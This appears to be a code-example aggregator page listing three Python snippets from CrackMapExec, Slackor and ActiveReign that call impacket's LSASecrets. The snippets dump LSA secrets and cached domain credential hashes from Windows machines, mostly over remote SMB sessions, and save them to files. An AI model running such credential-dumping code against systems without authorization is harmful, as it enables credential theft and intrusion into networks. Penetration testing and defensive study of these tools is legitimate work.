Python impacket.examples.secretsdump.LSASecrets() Examples
The following are 3
code examples of impacket.examples.secretsdump.LSASecrets().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
impacket.examples.secretsdump
, or try the search function
.
Example #1
Source File: smb.py From CrackMapExec with BSD 2-Clause "Simplified" License | 6 votes |
def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) self.logger.success('Dumping LSA secrets') LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets), self.output_filename + '.secrets', self.output_filename + '.cached')) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) LSA.finish()
Example #2
Source File: dpapi.py From Slackor with GNU General Public License v3.0 | 6 votes |
def getLSA(self): localOperations = LocalOperations(self.options.system) bootKey = localOperations.getBootKey() lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM) lsaSecrets.dumpSecrets()
Example #3
Source File: smb.py From ActiveReign with GNU General Public License v3.0 | 6 votes |
def lsa(self): def add_lsa_secret(secret): for x in secret.splitlines(): self.logger.success([self.host, self.ip, "LSA SECRET", x]) add_lsa_secret.secrets += 1 try: # Output File file_name = '{}_{}'.format(self.host.lower(), get_filestamp()) outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name) # Dump add_lsa_secret.secrets = 0 self.enable_remoteops() if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) LSA.dumpCachedHashes() LSA.exportCached(outfile) LSA.dumpSecrets() LSA.exportSecrets(outfile) except Exception as e: self.logger.debug('LSA Extraction Failed for {}: {}'.format(self.host, str(e))) if add_lsa_secret.secrets > 0: self.logger.info([self.host, self.ip, "LSA SECRET", 'Output saved to: {}.secrets'.format(outfile)]) try: self.remote_ops.finish() except Exception as e: self.logger.debug(["LSA", "Error calling remote_ops.finish(): {}".format(e)]) LSA.finish()